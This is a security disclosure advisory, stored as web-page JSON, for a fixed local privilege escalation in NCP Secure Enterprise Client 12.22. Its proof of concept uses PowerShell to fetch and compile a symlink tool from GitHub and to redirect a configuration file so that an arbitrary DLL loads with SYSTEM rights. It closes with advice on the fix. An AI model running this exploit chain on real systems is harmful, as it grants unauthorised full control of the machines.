{"id":19576,"date":"2022-09-29T17:23:00","date_gmt":"2022-09-29T15:23:00","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=19576"},"modified":"2023-03-03T12:56:05","modified_gmt":"2023-03-03T11:56:05","slug":"usd-2022-0006","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0006\/","title":{"rendered":"usd-2022-0006"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" custom_padding=\"4px|||||\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.17.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n

usd-2022-0006 | NCP Secure Enterprise Client - Privilege Escalation<\/h1>\n

Advisory ID:<\/strong> usd-2022-0006
Product:<\/strong> NCP Secure Enterprise Client
Affected Version:<\/strong> 12.22
Vulnerability Type:<\/strong> Privilege Escalation
Security Risk:<\/strong> Critical
Vendor URL::<\/strong> https\/\/www.ncp-e.com\/
Vendor Status:<\/strong> Fixed<\/p>\n

Description<\/h3>\n

The NCP Secure Enterprise<\/em> client is a VPN<\/em> and networking application that is utilized by many organisations to connect workstations
to the cooperate network. The client supports a Support Assistant<\/em> feature, which allows low privileged user accounts to obtain diagnostic
information from the operating system. The corresponding information is gathered by high privileged services and stored within the directory
C:\\Users\\\\AppData\\Local\\Temp\\NcpSupport*<\/em>. Since this directory is fully user controlled, a low privileged user can create <\/em>symbolic links
within it. This can be used to trick the <\/em>NCP Secure Enterprise client to change permissions on configuration files that are used by the client internally.
One of these configuration files contains the file system path of <\/em>dynamic linked library (<\/em>DLL) files that are loaded during startup by the
application. Also high privileged services, that are installed together with the <\/em>NCP Secure Enterprise client, load the corresponding <\/em>DLL* files,
resulting in a privilege escalation vulnerability.<\/p>\n

Proof of Concept<\/h3>\n

To elevate permissions using the vulnerability, the following steps need to be performed:<\/p>\n

    \n
  1. Start the Support Assistant<\/em> and wait until all diagnostic information has been collected.<\/li>\n
  2. Create a symbolic link<\/em> that originates from C:\\Users\\\\AppData\\Local\\Temp\\NcpSupport\\services.txt<\/strong>
    and points to the file C:\\ProgramData\\NCP\\SecureClient\\data\\ncppki.conf<\/strong>.<\/li>\n
  3. Abort the Support Assistant<\/em> and restart it.<\/li>\n
  4. Open C:\\ProgramData\\NCP\\SecureClient\\data\\ncppki.conf<\/strong> and adjust the configuration settings
    DLLWIN95<\/strong> and DLLWINNT<\/strong> to point to the DLL<\/em> file you want to load.<\/li>\n
  5. After rebooting the system, the specified DLL<\/em> file is loaded with System<\/em> privileges.<\/li>\n<\/ol>\n

    The reboot seems not even to be necessary and the DLL<\/em> is also loaded automatically at a certain point of time.
    In the following, each step is explained in more detail:<\/p>\n

    First we start the Support Assistant<\/em> by using the tray icon of the NCP Secure Enterprise<\/em> client. The Support Assistant<\/em>
    feature can be found in the upper right of the graphical user interface within the Help<\/em> menu.<\/p>\n

    \"\"<\/p>\n

    After the diagnostic information has been collected, we create a symbolic link<\/em> pointing from C:\\Users\\\\AppData\\Local\\Temp\\NcpSupport\\services.txt<\/strong>
    to C:\\ProgramData\\NCP\\SecureClient\\data\\ncppki.conf<\/strong>. Moreover, we verify that the file is not writable for low privileged user accounts:<\/p>\n

    \n
    <\/span>PS <\/span>C<\/span>:\\><\/span> icacls<\/span> C<\/span>:\\<\/span>ProgramData<\/span>\\<\/span>NCP<\/span>\\<\/span>SecureClient<\/span>\\<\/span>data<\/span>\\<\/span>ncppki<\/span>.<\/span>conf<\/span>
    C<\/span>:\\<\/span>ProgramData<\/span>\\<\/span>NCP<\/span>\\<\/span>SecureClient<\/span>\\<\/span>data<\/span>\\<\/span>ncppki<\/span>.<\/span>conf<\/span>\n              NT-AUTORIT\u00c4T<\/span>\\<\/span>SYSTEM<\/span>:(<\/span>I<\/span>)(<\/span>F<\/span>)<\/span>\n              VORDEFINIERT<\/span>\\<\/span>Administratoren<\/span>:(<\/span>I<\/span>)(<\/span>F<\/span>)<\/span>\n              VORDEFINIERT<\/span>\\<\/span>Benutzer<\/span>:(<\/span>I<\/span>)(<\/span>RX<\/span>)<\/span>\n\n1<\/span> Dateien<\/span> erfolgreich<\/span> verarbeitet<\/span>,<\/span> bei<\/span> 0<\/span> Dateien<\/span> ist<\/span> ein<\/span> Verarbeitungsfehler<\/span> aufgetreten<\/span>.<\/span>\n\nPS <\/span>C<\/span>:\\><\/span> $code<\/span> =<\/span> (<\/span>iwr <\/span>https<\/span>:\/\/<\/span>raw<\/span>.<\/span>githubusercontent<\/span>.<\/span>com<\/span>\/<\/span>usdAG<\/span>\/<\/span>SharpLink<\/span>\/<\/span>main<\/span>\/<\/span>SharpLink<\/span>.<\/span>cs<\/span>).<\/span>content<\/span>
    PS <\/span>C<\/span>:\\><\/span> Add-Type<\/span> $code<\/span>\n\nPS <\/span>C<\/span>:\\><\/span> $s<\/span> =<\/span> New-Object<\/span> de<\/span>.<\/span>usd<\/span>.<\/span>SharpLink<\/span>.<\/span>Symlink<\/span>(<\/span>\"C:\\Users\\labuser\\AppData\\Local\\Temp\\NcpSupport\\Services.txt\"<\/span>,<\/span> \"C:\\ProgramData\\NCP\\SecureClient\\data\\ncppki.conf\"<\/span>)<\/span>
    PS <\/span>C<\/span>:\\><\/span> $s<\/span>.<\/span>Open<\/span>()<\/span>
    [+]<\/span> Creating<\/span> Junction<\/span>:<\/span> C<\/span>:\\<\/span>Users<\/span>\\<\/span>labuser<\/span>\\<\/span>AppData<\/span>\\<\/span>Local<\/span>\\<\/span>Temp<\/span>\\<\/span>NcpSupport<\/span> -><\/span> \\<\/span>RPC<\/span> CONTROL<\/span>
    [+]<\/span> Creating<\/span> DosDevice<\/span>:<\/span> Global<\/span>\\<\/span>GLOBALROOT<\/span>\\<\/span>RPC<\/span> CONTROL<\/span>\\<\/span>Services<\/span>.<\/span>txt<\/span> -><\/span> \\??\\<\/span>C<\/span>:\\<\/span>ProgramData<\/span>\\<\/span>NCP<\/span>\\<\/span>SecureClient<\/span>\\<\/span>data<\/span>\\<\/span>ncppki<\/span>.<\/span>conf<\/span>
    [+]<\/span> Symlink<\/span> setup<\/span> successfully<\/span>.<\/span><\/pre>\n<\/div>\n
    Now the Support Assistant<\/em> is aborted and restarted. After this action has been performed, the file C:\\ProgramData\\NCP\\SecureClient\\data\\ncppki.conf<\/strong>
    is under full control of the invoking user account:<\/p>\n
    \n
    <\/span>PS <\/span>C<\/span>:\\><\/span> icacls<\/span> C<\/span>:\\<\/span>ProgramData<\/span>\\<\/span>NCP<\/span>\\<\/span>SecureClient<\/span>\\<\/span>data<\/span>\\<\/span>ncppki<\/span>.<\/span>conf<\/span>
    C<\/span>:\\<\/span>ProgramData<\/span>\\<\/span>NCP<\/span>\\<\/span>SecureClient<\/span>\\<\/span>data<\/span>\\<\/span>ncppki<\/span>.<\/span>conf<\/span>\n              NT-AUTORIT\u00c4T<\/span>\\<\/span>SYSTEM<\/span>:(<\/span>I<\/span>)(<\/span>F<\/span>)<\/span>\n              VORDEFINIERT<\/span>\\<\/span>Administratoren<\/span>:(<\/span>I<\/span>)(<\/span>F<\/span>)<\/span>\n              LAB<\/span>\\<\/span>labuser<\/span>:(<\/span>I<\/span>)(<\/span>F<\/span>)<\/span>\n              VORDEFINIERT<\/span>\\<\/span>Benutzer<\/span>:(<\/span>I<\/span>)(<\/span>RX<\/span>)<\/span>\n\n1<\/span> Dateien<\/span> erfolgreich<\/span> verarbeitet<\/span>,<\/span> bei<\/span> 0<\/span> Dateien<\/span> ist<\/span> ein<\/span> Verarbeitungsfehler<\/span> aufgetreten<\/span>.<\/span><\/pre>\n<\/div>\n
    It is worth noting that the NCP Secure Enterprise<\/em> client does not assign permissions to arbitrary files. Permissions for the current
    invoking user seem to be granted, when the folder that contains the file is writable by the invoking user. For other files (e.g. C:\\Windows\\win.ini<\/strong>)
    the NCP Secure Enterprise<\/em> client deletes the corresponding file. This behavior is reported in a separate issue.<\/p>\n
    Now with write access to C:\\ProgramData\\NCP\\SecureClient\\data\\ncppki.conf<\/strong>, one can modify the configuration items
    WIN95DLL<\/strong> and WINNTDLL<\/strong> to point to an arbitrary location.<\/p>\n
    \n
    <\/span>C<\/span>:\\><\/span>type <\/span>C<\/span>:\\<\/span>ProgramData<\/span>\\<\/span>NCP<\/span>\\<\/span>SecureClient<\/span>\\<\/span>data<\/span>\\<\/span>ncppki<\/span>.<\/span>conf<\/span>\n\n[General]<\/span>
    ...<\/span>SNIP<\/span>...<\/span>\n\n[CTAPI 3]<\/span>
    Visible<\/span>         =<\/span> 1<\/span>
    ReaderName<\/span>      =<\/span> SCM<\/span> 1x0<\/span> (<\/span>PIN<\/span> Pad<\/span> reader<\/span>)<\/span> (<\/span>CT-API<\/span>)<\/span>
    DLLWIN95<\/span>        =<\/span> C<\/span>:\\<\/span>usd<\/span>\\<\/span>scm11098<\/span>.<\/span>dll<\/span>
    DLLWINNT<\/span>        =<\/span> C<\/span>:\\<\/span>usd<\/span>\\<\/span>scm110nt<\/span>.<\/span>dll<\/span><\/pre>\n<\/div>\n
    After rebooting the system, the specified DLL<\/em> file is loaded by a service running as NT Authority\\System<\/strong>:<\/p>\n
    \"\"<\/p>\n
    Even if the NCP Secure Enterprise<\/em> client would have deleted the file C:\\ProgramData\\NCP\\SecureClient\\data\\ncppki.conf<\/strong> instead,
    a privilege escalation would have been possible, since the folder *C:\\ProgramData\\NCP\\SecureClient\\data*<\/em> is writable by low
    privileged user accounts.<\/p>\n
    Fix<\/h3>\n
    When changing privileges on resources within user controlled parts of the file system, applications need to be careful.
    For such operations, symlinks should not be followed. When in doubt, the application should prefer to throw an error instead
    of applying permissions to an incorrect target.<\/p>\n
    References<\/h3>\n